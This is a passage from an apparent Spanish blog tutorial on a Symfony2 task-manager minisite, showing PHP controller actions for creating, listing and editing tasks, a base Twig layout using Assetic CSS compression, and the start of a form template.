	<span style="color: #666666; font-style: italic;">// quiero saber el anyo actual:</span>
	<span style="color: #000088;">$thisyear</span> <span style="color: #339933;">=</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Y'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">// vamos a crear una tarea nueva!</span>
        <span style="color: #000088;">$task</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Task2<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$form</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createFormBuilder</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'task'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'text'</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Tarea:'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'dueDate'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'date'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Fecha limite'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'years'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">range</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$thisyear</span><span style="color: #339933;">,</span> <span style="color: #000088;">$thisyear</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'description'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'textarea'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Descripcion'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'required'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'false'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'url'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'url'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'required'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">-&gt;</span><span style="color: #004000;">getForm</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getMethod</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'POST'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #666666; font-style: italic;">// segunda vez que se llama a newAction, ahora ya tenemos los datos </span>
                        <span style="color: #666666; font-style: italic;">// de la tarea en el $request. Asi que hacemos el &quot;bind&quot; al formulario...</span>
			<span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindRequest</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                        <span style="color: #666666; font-style: italic;">// y comprobamos si es válido (validation.yml!)</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">isValid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">// hacer cosas con los datos del form.</span>
                                <span style="color: #666666; font-style: italic;">// Guardarlos en BD, p ej.</span>
&nbsp;
				<span style="color: #000088;">$em</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getDoctrine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getEntityManager</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">persist</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// = decirle a Symfony que &quot;controle&quot; este objeto!</span>
				<span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// podría agrupar varias queries y despues flush las lanzaría a la BD a la vez!</span>
&nbsp;
				<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">redirect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">generateUrl</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle_task_success'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'nombreTarea'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$task</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getTask</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">render</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Default:new2desplegado.html.twig'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
            <span style="color: #0000ff;">'form'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createView</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
        <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">/* 
     * Obtiene todas las tareas
     */</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> showAction<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
		<span style="color: #000088;">$tasks</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getDoctrine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">getRepository</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Task2'</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">findAll</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #666666; font-style: italic;">//-&gt;findByTask('Ejemplo tarea');  //con esta línea podría buscar una tarea con ese nombre exacto</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">render</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Default:show.html.twig'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
			<span style="color: #0000ff;">'tasks'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$tasks</span>
		<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
	<span style="color: #666666; font-style: italic;">/*
	 * Editar una tarea
	 */</span> 
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> editAction<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> Request <span style="color: #000088;">$request</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">throw</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createNotFoundException</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'No se encuentra la tarea con id = '</span><span style="color: #339933;">.</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// valido que existe la tarea asociada a ese ID...</span>
		<span style="color: #000088;">$em</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getDoctrine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getEntityManager</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$task</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getRepository</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Task2'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">throw</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createNotFoundException</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'No se encuentra la tarea con id = '</span><span style="color: #339933;">.</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// quiero saber el anyo actual:</span>
		<span style="color: #000088;">$thisyear</span> <span style="color: #339933;">=</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Y'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #666666; font-style: italic;">// Creo el formulario (con sus campos) de forma dinámica.</span>
                <span style="color: #666666; font-style: italic;">// Como voy a repetir el formulario que ya creé en newAction, quizá sería interesante</span>
                <span style="color: #666666; font-style: italic;">// plantearme crear una clase aparte y usar $this-&gt;createForm para crearlo &quot;de forma estática&quot;</span>
		<span style="color: #000088;">$form</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createFormBuilder</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'task'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'text'</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Tarea:'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'dueDate'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'date'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Fecha limite'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'years'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">range</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$thisyear</span><span style="color: #339933;">,</span> <span style="color: #000088;">$thisyear</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'description'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'textarea'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'label'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Descripcion'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'required'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'false'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #339933;">-&gt;</span><span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'url'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'url'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'required'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #339933;">-&gt;</span><span style="color: #004000;">getForm</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getMethod</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'POST'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #666666; font-style: italic;">// ya he recibido el resultado del formulario...</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">// mappeo los valores del request a los del form...</span>
			<span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindRequest</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">// y compruebo si es válido...</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">isValid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">// es válido, asi que actualizo la BD...</span>
				<span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">redirect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">generateUrl</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle_task_success'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'nombreTarea'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$task</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getTask</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// PRIMERA INVOCACION A EDIT: hay que dejarle al user modificar la info!</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">render</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Default:edit2desplegado.html.twig'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
                        <span style="color: #0000ff;">'form'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createView</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'id'</span>   <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$task</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getId</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
        <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">/*
     * Mostrar pantalla de &quot;éxito al realizar las operaciones&quot;.
     */</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> successAction<span style="color: #009900;">&#40;</span><span style="color: #000088;">$nombreTarea</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">strcmp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$nombreTarea</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Qu&amp;eacute; tramas, moreno? ¡No deberías invocar esta URL de forma manual!&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
			<span style="color: #666666; font-style: italic;">// Voy a generar un mensaje...</span>
			<span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;La tarea '&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$nombreTarea</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;' se ha guardado.&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">render</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Default:success.html.twig'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
           <span style="color: #0000ff;">'message'</span> 	<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$message</span>
		<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></div></div>

<h2>The Templates (view) + Assets (Css)</h2>
<p>And last but not least, the TWIG templates I used along with the CSS.<br />
Some days ago I wrote about <a href="http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/">how to manage Assets with Assetic</a>. Note how this is applied here (and YUI CSS Compressor filter is used).</p>
<p>The first template is a general-purpose three-column layout that will be the &#8220;base&#8221; for our minisite. Let&#8217;s call it <code>template-base-curso.html.twig</code></p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&gt;
{% block head %}
&lt;head&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
	&lt;title&gt;
		{% block title %}
			{{ title|default(&quot;Template Base para TWIG&quot;) }}
		{% endblock title %}
	&lt;/title&gt;
&nbsp;
&nbsp;
	{% block description %}
	&lt;meta name=&quot;description&quot; content=&quot;{{ description|default('Plantilla TWIG base por Miguel Martin') }}&quot;/&gt;
	{% endblock description %}
&nbsp;
	{% block keywords %}
	&lt;meta name=&quot;keywords&quot; content=&quot;twig, template, free, design, 960, grid&quot; /&gt;
	{% endblock keywords %}
&nbsp;
	{% block styles %}
		{% stylesheets
			'@cursoe5Bundle/Resources/public/css/layout/mainStyle.css'
			'@cursoe5Bundle/Resources/public/css/layout/reset.css'
			'@cursoe5Bundle/Resources/public/css/layout/colors.css'
			output = 'css/compiled/styles.css'
			filter = 'yui_css'
		%}
		&lt;link href=&quot;{{ asset_url }}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; /&gt;
		{% endstylesheets %}
	{% endblock styles %}
&nbsp;
	{% block script %}
		{% javascripts
			'@cursoe5Bundle/Resources/public/js/*'
		%}
		&lt;script src=&quot;{{ asset_url }}&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
		{% endjavascripts %}
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
	//&lt;![CDATA[
		//$(document).ready(function(){ 	
&nbsp;
		//}); 
	//]]&gt; 
	&lt;/script&gt;
	{% endblock script %}
&lt;/head&gt;
{% endblock head %}
&nbsp;
&lt;body&gt;
	&lt;div id=&quot;wrapper&quot;&gt;
&nbsp;
&lt;!-- ******************************************** HEADER ************************************ --&gt;
&nbsp;
{% block header %}
	&lt;div id=&quot;header&quot;&gt;
		&lt;div id=&quot;titulo-centro&quot;&gt;
			&lt;h1&gt; {{ titulo|default(&quot;TEMPLATE BASE&quot;) }}&lt;/h1&gt;
		&lt;/div&gt;
	&lt;/div&gt;
{% endblock header %}
&lt;!-- ******************************************** /HEADER ************************************ --&gt;
&nbsp;
&nbsp;
	&lt;div id=&quot;content&quot;&gt;
&nbsp;
	&lt;div id=&quot;breadcrumbs&quot;&gt;
	{% block breadcrumbs %}
		&lt;ul&gt;
			&lt;li class&quot;=first&quot;&gt;&lt;a href=&quot;{{ path('cursoe5Bundle_homepage') }}&quot;&gt;HOME &lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;actual&quot;&gt;&lt;a href=&quot;=&quot;{{ path('cursoTaskBundle_test_template') }}&quot;&gt;Template&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	{% endblock breadcrumbs %}
	&lt;/div&gt;
	&lt;br /&gt;
&nbsp;
&lt;!-- ******************************************** LEFT-COLUMN ************************************ --&gt;
	&lt;div id=&quot;left-column&quot;&gt;
{% block menusub %}	
		&lt;div id=&quot;menu-sub&quot;&gt;
			&lt;ul&gt;
				&lt;li class&quot;=first&quot;&gt;&lt;a href=&quot;{{ path('cursoe5Bundle_homepage') }}&quot;&gt;HOME &lt;/a&gt;&lt;/li&gt;
				&lt;li class=&quot;actual&quot;&gt;&lt;a href=&quot;{{ path('cursoTaskBundle_test_template') }}&quot;&gt;Template&lt;/a&gt;&lt;/li&gt;
&nbsp;
				&lt;li&gt;&lt;a href=&quot;{{ path('cursoTaskBundle_task_new2') }}&quot;&gt;Insertar tarea&lt;/a&gt;&lt;/li&gt;
				&lt;li&gt;&lt;a href=&quot;{{ path('cursoTaskBundle_task_show') }}&quot;&gt;Mostrar tareas&lt;/a&gt;&lt;/li&gt;
				&lt;li class=&quot;last&quot;&gt;&lt;a href=&quot;#&quot;&gt;link 4&lt;/a&gt;&lt;/li&gt;
			&lt;/ul&gt;
		&lt;/div&gt;
{% endblock menusub %}
	&lt;/div&gt;
&lt;!-- ******************************************** /LEFT-COLUMN ************************************ --&gt;
&nbsp;
&lt;!--====MAIN COLUMN START====--&gt;
&lt;div id=&quot;main-column&quot;&gt;
{% block maincolumn %}
&nbsp;
&lt;h2&gt;Template base en TWIG&lt;/h2&gt;&lt;br /&gt;
&lt;p class=&quot;text-justify&quot;&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/p&gt;
&lt;br /&gt;
&lt;p class=&quot;text-justify&quot;&gt;Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?&lt;/p&gt;
&nbsp;
&nbsp;
{% endblock maincolumn %}
&lt;/div&gt;
&nbsp;
&lt;!--====MAIN COLUMN END====--&gt;
&nbsp;
&nbsp;
&lt;!--====RIGHT COLUMN START====--&gt;
&nbsp;
&lt;div id=&quot;right-column&quot;&gt;
{% block rightcolumn %}
&nbsp;
&lt;p class=&quot;text-justify xxsmall&quot;&gt;But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it?&lt;/p&gt;
&nbsp;
{% endblock rightcolumn %}
&lt;/div&gt;
&nbsp;
&lt;!--====RIGHT COLUMN END====--&gt;
&nbsp;
&lt;/div&gt;
&nbsp;
&lt;!--=================CONTENT END==============--&gt;
&nbsp;
&lt;!--=================FOOTER START==============--&gt;
&nbsp;
&lt;div id=&quot;footer&quot;&gt;
{% block footer %}
&amp;copy;2012 All Rights Reserved Miguel Martin | &lt;a href=&quot;http://www.leccionespracticas.com&quot; target=&quot;_blank&quot; &gt;Design by MiguelMartin&lt;/a&gt; | &lt;a href=&quot;http://validator.w3.org/check?uri=referer&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; &gt;XHTML&lt;/a&gt; | &lt;a href=&quot;http://jigsaw.w3.org/css-validator/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; &gt;CSS&lt;/a&gt;&lt;/div&gt;
{% endblock footer %}
&nbsp;
&lt;!--=================FOOTER END==============--&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>The view associated with &#8220;INSERT NEW TASK&#8221; is <code>new2desplegado.html.twig</code>. Please note how the form is displayed here!</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">{# src/curso/TaskBundle/Resources/views/Default/new2desplegado.html.twig #}
{% extends &quot;cursoTaskBundle:Default:template-base-curso.html.twig&quot; %}
&nbsp;
{% block title %}
			Insertar nueva tarea
{% endblock title %}
&nbsp;
